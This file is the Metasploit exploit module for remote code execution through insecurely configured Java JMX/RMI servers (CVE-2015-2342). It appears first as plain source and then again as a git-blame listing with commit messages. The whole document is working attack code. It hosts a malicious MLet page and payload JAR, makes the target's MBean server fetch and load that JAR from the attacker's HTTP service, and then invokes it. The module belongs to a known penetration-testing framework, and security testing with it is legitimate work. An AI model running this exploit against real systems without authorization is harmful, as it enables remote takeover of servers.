modules/exploits/multi/misc/java_jmx_server.rb

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::Remote::Java::Rmi::Client

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Java JMX Server Insecure Configuration Java Code Execution',
      'Description'    => %q{
        This module takes advantage a Java JMX interface insecure configuration, which would
        allow loading classes from any remote (HTTP) URL. JMX interfaces with authentication
        disabled (com.sun.management.jmxremote.authenticate=false) should be vulnerable, while
        interfaces with authentication enabled will be vulnerable only if a weak configuration
        is deployed (allowing to use javax.management.loading.MLet, having a security manager
        allowing to load a ClassLoader MBean, etc.).
      },
      'Author'         =>
        [
          'Braden Thomas', # Attack vector discovery
          'juan vazquez' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['URL', 'https://docs.oracle.com/javase/8/docs/technotes/guides/jmx/JMX_1_4_specification.pdf'],
          ['URL', 'http://www.accuvant.com/blog/exploiting-jmx-rmi'],
          ['CVE', '2015-2342']
        ],
      'Platform'       => 'java',
      'Arch'           => ARCH_JAVA,
      'Privileged'     => false,
      'Payload'        => { 'BadChars' => '', 'DisableNops' => true },
      'Stance'         => Msf::Exploit::Stance::Aggressive,
      'DefaultOptions' =>
        {
          'WfsDelay' => 10
        },
      'Targets'        =>
        [
          [ 'Generic (Java Payload)', {} ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'May 22 2013'
    ))

    register_options([
      Msf::OptString.new('JMX_ROLE', [false, 'The role to interact with an authenticated JMX endpoint']),
      Msf::OptString.new('JMX_PASSWORD', [false, 'The password to interact with an authenticated JMX endpoint']),
      Msf::OptString.new('JMXRMI', [true, 'The name where the JMX RMI interface is bound', 'jmxrmi'])
    ], self.class)
    register_common_rmi_ports_and_services
  end

  def on_request_uri(cli, request)
    if request.uri =~ /mlet$/
      jar = "#{rand_text_alpha(8 + rand(8))}.jar"

      mlet = "<HTML><mlet code=\"metasploit.JMXPayload\" "
      mlet << "archive=\"#{jar}\" "
      mlet << "name=\"#{@mlet}:name=jmxpayload,id=1\" "
      mlet << "codebase=\"#{get_uri}\"></mlet></HTML>"
      send_response(cli, mlet,
        {
          'Content-Type' => 'application/octet-stream',
          'Pragma'       => 'no-cache'
        })

      print_status("Replied to request for mlet")
    elsif request.uri =~ /\.jar$/i
      p = regenerate_payload(cli)
      jar = p.encoded_jar
      paths = [
        ["metasploit", "JMXPayloadMBean.class"],
        ["metasploit", "JMXPayload.class"],
      ]
      jar.add_files(paths, MetasploitPayloads.path('java'))

      send_response(cli, jar.pack,
        {
          'Content-Type' => 'application/java-archive',
          'Pragma'       => 'no-cache'
        })

      print_status("Replied to request for payload JAR")
    end
  end

  def autofilter
    return true
  end

  def check
    connect

    unless is_rmi?
      return Exploit::CheckCode::Safe
    end

    mbean_server = discover_endpoint
    disconnect
    if mbean_server.nil?
      return Exploit::CheckCode::Safe
    end

    connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] })
    unless is_rmi?
      return Exploit::CheckCode::Unknown
    end

    jmx_endpoint = handshake(mbean_server)
    disconnect
    if jmx_endpoint.nil?
      return Exploit::CheckCode::Detected
    end

    Exploit::CheckCode::Appears
  end

  def exploit
    vprint_status("Starting service...")
    start_service

    @mlet = "MLet#{rand_text_alpha(8 + rand(4)).capitalize}"
    connect

    print_status("Sending RMI Header...")
    unless is_rmi?
      fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol")
    end

    print_status("Discovering the JMXRMI endpoint...")
    mbean_server = discover_endpoint
    disconnect
    if mbean_server.nil?
      fail_with(Failure::NoTarget, "#{peer} - Failed to discover the JMXRMI endpoint")
    else
      print_good("JMXRMI endpoint on #{mbean_server[:address]}:#{mbean_server[:port]}")
    end

    # First try to connect to the original RHOST, since the mbean address may be inaccessible
    begin
      connect(true, { 'RPORT' => mbean_server[:port] })
    rescue Rex::ConnectionError
      # If that fails, try connecting to the listed address instead
      connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] })
    end

    unless is_rmi?
      fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol with the MBean server")
    end

    print_status("Proceeding with handshake...")
    jmx_endpoint = handshake(mbean_server)
    if jmx_endpoint.nil?
      fail_with(Failure::NoTarget, "#{peer} - Failed to handshake with the MBean server")
    else
      print_good("Handshake with JMX MBean server on #{jmx_endpoint[:address]}:#{jmx_endpoint[:port]}")
    end

    print_status("Loading payload...")
    unless load_payload(jmx_endpoint)
      fail_with(Failure::Unknown, "#{peer} - Failed to load the payload")
    end

    print_status("Executing payload...")
    send_jmx_invoke(
      object_number: jmx_endpoint[:object_number],
      uid_number: jmx_endpoint[:uid].number,
      uid_time: jmx_endpoint[:uid].time,
      uid_count: jmx_endpoint[:uid].count,
      object: "#{@mlet}:name=jmxpayload,id=1",
      method: 'run'
    )
    disconnect
    vprint_status("Stopping service...")
    stop_service
  end

  def is_rmi?
    send_header
    ack = recv_protocol_ack
    if ack.nil?
      return false
    end

    true
  end

  def discover_endpoint
    ref = send_registry_lookup(name: datastore['JMXRMI'])
    return nil if ref.nil?

    unless ref[:object] == 'javax.management.remote.rmi.RMIServerImpl_Stub'
      vprint_error("JMXRMI discovery returned unexpected object #{ref[:object]}")
      return nil
    end

    ref
  end

  def handshake(mbean)
    begin
      opts = {
        object_number: mbean[:object_number],
        uid_number: mbean[:uid].number,
        uid_time: mbean[:uid].time,
        uid_count: mbean[:uid].count
      }

      if datastore['JMX_ROLE']
        username = datastore['JMX_ROLE']
        password = datastore['JMX_PASSWORD']
        opts.merge!(username: username, password: password)
      end

      ref = send_new_client(opts)
    rescue ::Rex::Proto::Rmi::Exception => e
      vprint_error("JMXRMI discovery raised an exception of type #{e.message}")
      return nil
    end

    ref
  end

  def load_payload(conn_stub)
    vprint_status("Getting JMXPayload instance...")

    begin
      res = send_jmx_get_object_instance(
        object_number: conn_stub[:object_number],
        uid_number: conn_stub[:uid].number,
        uid_time: conn_stub[:uid].time,
        uid_count: conn_stub[:uid].count,
        name: "#{@mlet}:name=jmxpayload,id=1"
      )
    rescue ::Rex::Proto::Rmi::Exception => e
      case e.message
      when 'javax.management.InstanceNotFoundException'
        vprint_warning("JMXPayload instance not found, trying to load")
        return load_payload_from_url(conn_stub)
      else
        vprint_error("getObjectInstance returned unexpected exception #{e.message}")
        return false
      end
    end


    return false if res.nil?

    true
  end

  def load_payload_from_url(conn_stub)
    vprint_status("Creating javax.management.loading.MLet MBean...")

    begin
      res = send_jmx_create_mbean(
        object_number: conn_stub[:object_number],
        uid_number: conn_stub[:uid].number,
        uid_time: conn_stub[:uid].time,
        uid_count: conn_stub[:uid].count,
        name: 'javax.management.loading.MLet'
      )
    rescue ::Rex::Proto::Rmi::Exception => e
      case e.message
      when 'javax.management.InstanceAlreadyExistsException'
        vprint_good("javax.management.loading.MLet already exists")
        res = true
      when 'java.lang.SecurityException'
        vprint_error(" The provided user hasn't enough privileges")
        res = nil
      else
        vprint_error("createMBean raised unexpected exception #{e.message}")
        res = nil
      end
    end

    if res.nil?
      vprint_error("The request to createMBean failed")
      return false
    end

    vprint_status("Getting javax.management.loading.MLet instance...")
    begin
      res = send_jmx_get_object_instance(
        object_number: conn_stub[:object_number],
        uid_number: conn_stub[:uid].number,
        uid_time: conn_stub[:uid].time,
        uid_count: conn_stub[:uid].count,
        name: 'DefaultDomain:type=MLet'
      )
    rescue ::Rex::Proto::Rmi::Exception => e
      vprint_error("getObjectInstance returned unexpected exception: #{e.message}")
      return false
    end

    if res.nil?
      vprint_error("The request to GetObjectInstance failed")
      return false
    end

    vprint_status("Loading MBean Payload with javax.management.loading.MLet#getMBeansFromURL...")

    begin
      res = send_jmx_invoke(
        object_number: conn_stub[:object_number],
        uid_number: conn_stub[:uid].number,
        uid_time: conn_stub[:uid].time,
        uid_count: conn_stub[:uid].count,
        object: 'DefaultDomain:type=MLet',
        method: 'getMBeansFromURL',
        args: { 'java.lang.String' => "#{get_uri}/mlet" }
      )
    rescue ::Rex::Proto::Rmi::Exception => e
      vprint_error("invoke() returned unexpected exception: #{e.message}")
      return false
    end

    if res.nil?
      vprint_error("The call to getMBeansFromURL failed")
      return false
    end

    true
  end

end
Add initial JMX module 2015-01-15 16:41:37 -06:00			`##`
			`# This module requires Metasploit: http://metasploit.com/download`
			`# Current source: https://github.com/rapid7/metasploit-framework`
			`##`

			`require 'msf/core'`

use MetasploitModule as a class name 2016-03-08 14:02:44 +01:00			`class MetasploitModule < Msf::Exploit::Remote`
Add initial JMX module 2015-01-15 16:41:37 -06:00			`Rank = ExcellentRanking`

			`include Msf::Exploit::Remote::HttpServer`
Move Msf::Java to the normal Msf::Exploit::Remote namespace 2015-10-09 13:24:34 -07:00			`include Msf::Exploit::Remote::Java::Rmi::Client`
Add initial JMX module 2015-01-15 16:41:37 -06:00
			`def initialize(info = {})`
			`super(update_info(info,`
Provide description and authentication support 2015-01-15 17:57:22 -06:00			`'Name' => 'Java JMX Server Insecure Configuration Java Code Execution',`
Add initial JMX module 2015-01-15 16:41:37 -06:00			`'Description' => %q{`
Provide description and authentication support 2015-01-15 17:57:22 -06:00			`This module takes advantage a Java JMX interface insecure configuration, which would`
			`allow loading classes from any remote (HTTP) URL. JMX interfaces with authentication`
			`disabled (com.sun.management.jmxremote.authenticate=false) should be vulnerable, while`
			`interfaces with authentication enabled will be vulnerable only if a weak configuration`
Delete default values for datastore options 2015-01-21 00:14:46 -06:00			`is deployed (allowing to use javax.management.loading.MLet, having a security manager`
			`allowing to load a ClassLoader MBean, etc.).`
Add initial JMX module 2015-01-15 16:41:37 -06:00			`},`
			`'Author' =>`
			`[`
			`'Braden Thomas', # Attack vector discovery`
			`'juan vazquez' # Metasploit module`
			`],`
			`'License' => MSF_LICENSE,`
			`'References' =>`
			`[`
			`['URL', 'https://docs.oracle.com/javase/8/docs/technotes/guides/jmx/JMX_1_4_specification.pdf'],`
Add reference for CVE-2015-2342 - VMWare VCenter JMX RMI RCE 2015-10-01 18:43:21 +02:00			`['URL', 'http://www.accuvant.com/blog/exploiting-jmx-rmi'],`
Remove spaces 2015-10-01 18:56:37 +02:00			`['CVE', '2015-2342']`
Add initial JMX module 2015-01-15 16:41:37 -06:00			`],`
			`'Platform' => 'java',`
			`'Arch' => ARCH_JAVA,`
			`'Privileged' => false,`
			`'Payload' => { 'BadChars' => '', 'DisableNops' => true },`
			`'Stance' => Msf::Exploit::Stance::Aggressive,`
			`'DefaultOptions' =>`
			`{`
			`'WfsDelay' => 10`
			`},`
			`'Targets' =>`
			`[`
			`[ 'Generic (Java Payload)', {} ]`
			`],`
			`'DefaultTarget' => 0,`
			`'DisclosureDate' => 'May 22 2013'`
			`))`

			`register_options([`
Support JMX_ROLE again 2015-03-23 17:32:26 -05:00			`Msf::OptString.new('JMX_ROLE', [false, 'The role to interact with an authenticated JMX endpoint']),`
Make code consistent 2015-03-24 11:44:26 -05:00			`Msf::OptString.new('JMX_PASSWORD', [false, 'The password to interact with an authenticated JMX endpoint']),`
			`Msf::OptString.new('JMXRMI', [true, 'The name where the JMX RMI interface is bound', 'jmxrmi'])`
Add initial JMX module 2015-01-15 16:41:37 -06:00			`], self.class)`
Update autoregister_ports, try both addresses for the MBean 2015-10-09 20:20:35 -07:00			`register_common_rmi_ports_and_services`
Add initial JMX module 2015-01-15 16:41:37 -06:00			`end`

			`def on_request_uri(cli, request)`
			`if request.uri =~ /mlet$/`
Randomize MLet name 2015-01-21 00:36:34 -06:00			`jar = "#{rand_text_alpha(8 + rand(8))}.jar"`
Add initial JMX module 2015-01-15 16:41:37 -06:00
			`mlet = "<HTML><mlet code=\"metasploit.JMXPayload\" "`
			`mlet << "archive=\"#{jar}\" "`
Randomize MLet name 2015-01-21 00:36:34 -06:00			`mlet << "name=\"#{@mlet}:name=jmxpayload,id=1\" "`
Add initial JMX module 2015-01-15 16:41:37 -06:00			`mlet << "codebase=\"#{get_uri}\"></mlet></HTML>"`
			`send_response(cli, mlet,`
			`{`
			`'Content-Type' => 'application/octet-stream',`
			`'Pragma' => 'no-cache'`
			`})`
Create exploit_mbean_server method 2015-01-20 20:44:10 -06:00
			`print_status("Replied to request for mlet")`
Add initial JMX module 2015-01-15 16:41:37 -06:00			`elsif request.uri =~ /\.jar$/i`
			`p = regenerate_payload(cli)`
			`jar = p.encoded_jar`
			`paths = [`
			`["metasploit", "JMXPayloadMBean.class"],`
			`["metasploit", "JMXPayload.class"],`
			`]`
Update java meterpreter and payload references to use metasploit-payloads 2015-04-28 14:05:34 -05:00			`jar.add_files(paths, MetasploitPayloads.path('java'))`
Add initial JMX module 2015-01-15 16:41:37 -06:00
			`send_response(cli, jar.pack,`
			`{`
			`'Content-Type' => 'application/java-archive',`
			`'Pragma' => 'no-cache'`
			`})`

			`print_status("Replied to request for payload JAR")`
			`end`
			`end`

Fix autofilter values for aggressive modules 2015-10-13 15:56:18 -07:00			`def autofilter`
			`return true`
			`end`

Delete sock_server variable 2015-01-20 20:51:20 -06:00			`def check`
Delete default values for datastore options 2015-01-21 00:14:46 -06:00			`connect`
Delete sock_server variable 2015-01-20 20:51:20 -06:00
Delete default values for datastore options 2015-01-21 00:14:46 -06:00			`unless is_rmi?`
Delete sock_server variable 2015-01-20 20:51:20 -06:00			`return Exploit::CheckCode::Safe`
			`end`

Delete default values for datastore options 2015-01-21 00:14:46 -06:00			`mbean_server = discover_endpoint`
			`disconnect`
			`if mbean_server.nil?`
			`return Exploit::CheckCode::Safe`
			`end`

Fix invalid use of RPORT (should be RHOST) 2015-02-24 05:24:09 -06:00			`connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] })`
Delete default values for datastore options 2015-01-21 00:14:46 -06:00			`unless is_rmi?`
			`return Exploit::CheckCode::Unknown`
			`end`

			`jmx_endpoint = handshake(mbean_server)`
			`disconnect`
			`if jmx_endpoint.nil?`
			`return Exploit::CheckCode::Detected`
			`end`
Refactor get_mbean_server 2015-01-20 23:44:33 -06:00
Delete default values for datastore options 2015-01-21 00:14:46 -06:00			`Exploit::CheckCode::Appears`
Delete sock_server variable 2015-01-20 20:51:20 -06:00			`end`

Add initial JMX module 2015-01-15 16:41:37 -06:00			`def exploit`
Webserver starts at the beginning, stops at the end 2015-09-12 19:42:31 +02:00			`vprint_status("Starting service...")`
			`start_service`

Randomize MLet name 2015-01-21 00:36:34 -06:00			`@mlet = "MLet#{rand_text_alpha(8 + rand(4)).capitalize}"`
Create exploit_mbean_server method 2015-01-20 20:44:10 -06:00			`connect`

Remove now-redundant peer 2016-02-01 15:12:03 -06:00			`print_status("Sending RMI Header...")`
Refactor get_mbean_server 2015-01-20 23:44:33 -06:00			`unless is_rmi?`
Refactor exploit code 2015-01-21 00:07:00 -06:00			`fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol")`
Create exploit_mbean_server method 2015-01-20 20:44:10 -06:00			`end`

Remove now-redundant peer 2016-02-01 15:12:03 -06:00			`print_status("Discovering the JMXRMI endpoint...")`
Refactor get_mbean_server 2015-01-20 23:44:33 -06:00			`mbean_server = discover_endpoint`
Create exploit_mbean_server method 2015-01-20 20:44:10 -06:00			`disconnect`
			`if mbean_server.nil?`
Refactor get_mbean_server 2015-01-20 23:44:33 -06:00			`fail_with(Failure::NoTarget, "#{peer} - Failed to discover the JMXRMI endpoint")`
			`else`
Remove now-redundant peer 2016-02-01 15:12:03 -06:00			`print_good("JMXRMI endpoint on #{mbean_server[:address]}:#{mbean_server[:port]}")`
Create exploit_mbean_server method 2015-01-20 20:44:10 -06:00			`end`

Update autoregister_ports, try both addresses for the MBean 2015-10-09 20:20:35 -07:00			`# First try to connect to the original RHOST, since the mbean address may be inaccessible`
			`begin`
			`connect(true, { 'RPORT' => mbean_server[:port] })`
			`rescue Rex::ConnectionError`
			`# If that fails, try connecting to the listed address instead`
			`connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] })`
			`end`

Refactor exploit code 2015-01-21 00:07:00 -06:00			`unless is_rmi?`
			`fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol with the MBean server")`
Provide description and authentication support 2015-01-15 17:57:22 -06:00			`end`

Remove now-redundant peer 2016-02-01 15:12:03 -06:00			`print_status("Proceeding with handshake...")`
Refactor exploit code 2015-01-21 00:07:00 -06:00			`jmx_endpoint = handshake(mbean_server)`
			`if jmx_endpoint.nil?`
			`fail_with(Failure::NoTarget, "#{peer} - Failed to handshake with the MBean server")`
Provide description and authentication support 2015-01-15 17:57:22 -06:00			`else`
Remove now-redundant peer 2016-02-01 15:12:03 -06:00			`print_good("Handshake with JMX MBean server on #{jmx_endpoint[:address]}:#{jmx_endpoint[:port]}")`
Add initial JMX module 2015-01-15 16:41:37 -06:00			`end`

Remove now-redundant peer 2016-02-01 15:12:03 -06:00			`print_status("Loading payload...")`
Refactor exploit code 2015-01-21 00:07:00 -06:00			`unless load_payload(jmx_endpoint)`
			`fail_with(Failure::Unknown, "#{peer} - Failed to load the payload")`
Add initial JMX module 2015-01-15 16:41:37 -06:00			`end`

Remove now-redundant peer 2016-02-01 15:12:03 -06:00			`print_status("Executing payload...")`
Remove old JMX mixin 2015-03-23 15:48:10 -05:00			`send_jmx_invoke(`
Do first JMX cleaning try 2015-03-18 15:37:07 -05:00			`object_number: jmx_endpoint[:object_number],`
			`uid_number: jmx_endpoint[:uid].number,`
			`uid_time: jmx_endpoint[:uid].time,`
			`uid_count: jmx_endpoint[:uid].count,`
Randomize MLet name 2015-01-21 00:36:34 -06:00			`object: "#{@mlet}:name=jmxpayload,id=1",`
Refactor exploit code 2015-01-21 00:07:00 -06:00			`method: 'run'`
Add initial JMX module 2015-01-15 16:41:37 -06:00			`)`
Refactor get_mbean_server 2015-01-20 23:44:33 -06:00			`disconnect`
Webserver starts at the beginning, stops at the end 2015-09-12 19:42:31 +02:00			`vprint_status("Stopping service...")`
			`stop_service`
Refactor get_mbean_server 2015-01-20 23:44:33 -06:00			`end`

			`def is_rmi?`
			`send_header`
			`ack = recv_protocol_ack`
			`if ack.nil?`
			`return false`
			`end`

			`true`
			`end`

			`def discover_endpoint`
Make code consistent 2015-03-24 11:44:26 -05:00			`ref = send_registry_lookup(name: datastore['JMXRMI'])`
Delete JMX discovery stream 2015-03-23 10:21:37 -05:00			`return nil if ref.nil?`
Refactor get_mbean_server 2015-01-20 23:44:33 -06:00
Delete JMX discovery stream 2015-03-23 10:21:37 -05:00			`unless ref[:object] == 'javax.management.remote.rmi.RMIServerImpl_Stub'`
Remove now-redundant peer 2016-02-01 15:12:03 -06:00			`vprint_error("JMXRMI discovery returned unexpected object #{ref[:object]}")`
Refactor get_mbean_server 2015-01-20 23:44:33 -06:00			`return nil`
			`end`

Delete JMX discovery stream 2015-03-23 10:21:37 -05:00			`ref`
Refactor get_mbean_server 2015-01-20 23:44:33 -06:00			`end`

			`def handshake(mbean)`
JMX code refactoring 2015-03-23 17:06:51 -05:00			`begin`
Support JMX_ROLE again 2015-03-23 17:32:26 -05:00			`opts = {`
JMX code refactoring 2015-03-23 17:06:51 -05:00			`object_number: mbean[:object_number],`
			`uid_number: mbean[:uid].number,`
			`uid_time: mbean[:uid].time,`
			`uid_count: mbean[:uid].count`
Support JMX_ROLE again 2015-03-23 17:32:26 -05:00			`}`

			`if datastore['JMX_ROLE']`
			`username = datastore['JMX_ROLE']`
			`password = datastore['JMX_PASSWORD']`
			`opts.merge!(username: username, password: password)`
			`end`

			`ref = send_new_client(opts)`
JMX code refactoring 2015-03-23 17:06:51 -05:00			`rescue ::Rex::Proto::Rmi::Exception => e`
Remove now-redundant peer 2016-02-01 15:12:03 -06:00			`vprint_error("JMXRMI discovery raised an exception of type #{e.message}")`
Refactor get_mbean_server 2015-01-20 23:44:33 -06:00			`return nil`
			`end`

JMX code refactoring 2015-03-23 17:06:51 -05:00			`ref`
Add initial JMX module 2015-01-15 16:41:37 -06:00			`end`

Delete sock_server variable 2015-01-20 20:51:20 -06:00			`def load_payload(conn_stub)`
Remove now-redundant peer 2016-02-01 15:12:03 -06:00			`vprint_status("Getting JMXPayload instance...")`
Refactor get_mbean_server 2015-01-20 23:44:33 -06:00
JMX code refactoring 2015-03-23 17:06:51 -05:00			`begin`
			`res = send_jmx_get_object_instance(`
			`object_number: conn_stub[:object_number],`
			`uid_number: conn_stub[:uid].number,`
			`uid_time: conn_stub[:uid].time,`
			`uid_count: conn_stub[:uid].count,`
			`name: "#{@mlet}:name=jmxpayload,id=1"`
			`)`
			`rescue ::Rex::Proto::Rmi::Exception => e`
			`case e.message`
			`when 'javax.management.InstanceNotFoundException'`
Remove now-redundant peer 2016-02-01 15:12:03 -06:00			`vprint_warning("JMXPayload instance not found, trying to load")`
JMX code refactoring 2015-03-23 17:06:51 -05:00			`return load_payload_from_url(conn_stub)`
			`else`
Remove now-redundant peer 2016-02-01 15:12:03 -06:00			`vprint_error("getObjectInstance returned unexpected exception #{e.message}")`
JMX code refactoring 2015-03-23 17:06:51 -05:00			`return false`
			`end`
Refactor get_mbean_server 2015-01-20 23:44:33 -06:00			`end`
JMX code refactoring 2015-03-23 17:06:51 -05:00

			`return false if res.nil?`

			`true`
Refactor get_mbean_server 2015-01-20 23:44:33 -06:00			`end`

			`def load_payload_from_url(conn_stub)`
Remove now-redundant peer 2016-02-01 15:12:03 -06:00			`vprint_status("Creating javax.management.loading.MLet MBean...")`
Remove old JMX mixin 2015-03-23 15:48:10 -05:00
JMX code refactoring 2015-03-23 17:06:51 -05:00			`begin`
			`res = send_jmx_create_mbean(`
			`object_number: conn_stub[:object_number],`
			`uid_number: conn_stub[:uid].number,`
			`uid_time: conn_stub[:uid].time,`
			`uid_count: conn_stub[:uid].count,`
			`name: 'javax.management.loading.MLet'`
			`)`
			`rescue ::Rex::Proto::Rmi::Exception => e`
			`case e.message`
			`when 'javax.management.InstanceAlreadyExistsException'`
Remove now-redundant peer 2016-02-01 15:12:03 -06:00			`vprint_good("javax.management.loading.MLet already exists")`
JMX code refactoring 2015-03-23 17:06:51 -05:00			`res = true`
			`when 'java.lang.SecurityException'`
Remove now-redundant peer 2016-02-01 15:12:03 -06:00			`vprint_error(" The provided user hasn't enough privileges")`
JMX code refactoring 2015-03-23 17:06:51 -05:00			`res = nil`
			`else`
Remove now-redundant peer 2016-02-01 15:12:03 -06:00			`vprint_error("createMBean raised unexpected exception #{e.message}")`
JMX code refactoring 2015-03-23 17:06:51 -05:00			`res = nil`
			`end`
			`end`
Refactor exploit code 2015-01-21 00:07:00 -06:00
JMX code refactoring 2015-03-23 17:06:51 -05:00			`if res.nil?`
Remove now-redundant peer 2016-02-01 15:12:03 -06:00			`vprint_error("The request to createMBean failed")`
Refactor exploit code 2015-01-21 00:07:00 -06:00			`return false`
			`end`

Remove now-redundant peer 2016-02-01 15:12:03 -06:00			`vprint_status("Getting javax.management.loading.MLet instance...")`
JMX code refactoring 2015-03-23 17:06:51 -05:00			`begin`
			`res = send_jmx_get_object_instance(`
			`object_number: conn_stub[:object_number],`
			`uid_number: conn_stub[:uid].number,`
			`uid_time: conn_stub[:uid].time,`
			`uid_count: conn_stub[:uid].count,`
			`name: 'DefaultDomain:type=MLet'`
			`)`
			`rescue ::Rex::Proto::Rmi::Exception => e`
Remove now-redundant peer 2016-02-01 15:12:03 -06:00			`vprint_error("getObjectInstance returned unexpected exception: #{e.message}")`
Refactor exploit code 2015-01-21 00:07:00 -06:00			`return false`
Add initial JMX module 2015-01-15 16:41:37 -06:00			`end`

JMX code refactoring 2015-03-23 17:06:51 -05:00			`if res.nil?`
Remove now-redundant peer 2016-02-01 15:12:03 -06:00			`vprint_error("The request to GetObjectInstance failed")`
Refactor exploit code 2015-01-21 00:07:00 -06:00			`return false`
Add initial JMX module 2015-01-15 16:41:37 -06:00			`end`

Remove now-redundant peer 2016-02-01 15:12:03 -06:00			`vprint_status("Loading MBean Payload with javax.management.loading.MLet#getMBeansFromURL...")`
Add initial JMX module 2015-01-15 16:41:37 -06:00
JMX code refactoring 2015-03-23 17:06:51 -05:00			`begin`
			`res = send_jmx_invoke(`
			`object_number: conn_stub[:object_number],`
			`uid_number: conn_stub[:uid].number,`
			`uid_time: conn_stub[:uid].time,`
			`uid_count: conn_stub[:uid].count,`
			`object: 'DefaultDomain:type=MLet',`
			`method: 'getMBeansFromURL',`
			`args: { 'java.lang.String' => "#{get_uri}/mlet" }`
			`)`
			`rescue ::Rex::Proto::Rmi::Exception => e`
Remove now-redundant peer 2016-02-01 15:12:03 -06:00			`vprint_error("invoke() returned unexpected exception: #{e.message}")`
Refactor exploit code 2015-01-21 00:07:00 -06:00			`return false`
Add initial JMX module 2015-01-15 16:41:37 -06:00			`end`

JMX code refactoring 2015-03-23 17:06:51 -05:00			`if res.nil?`
Remove now-redundant peer 2016-02-01 15:12:03 -06:00			`vprint_error("The call to getMBeansFromURL failed")`
Refactor exploit code 2015-01-21 00:07:00 -06:00			`return false`
Add initial JMX module 2015-01-15 16:41:37 -06:00			`end`

JMX code refactoring 2015-03-23 17:06:51 -05:00			`true`
Add initial JMX module 2015-01-15 16:41:37 -06:00			`end`

			`end`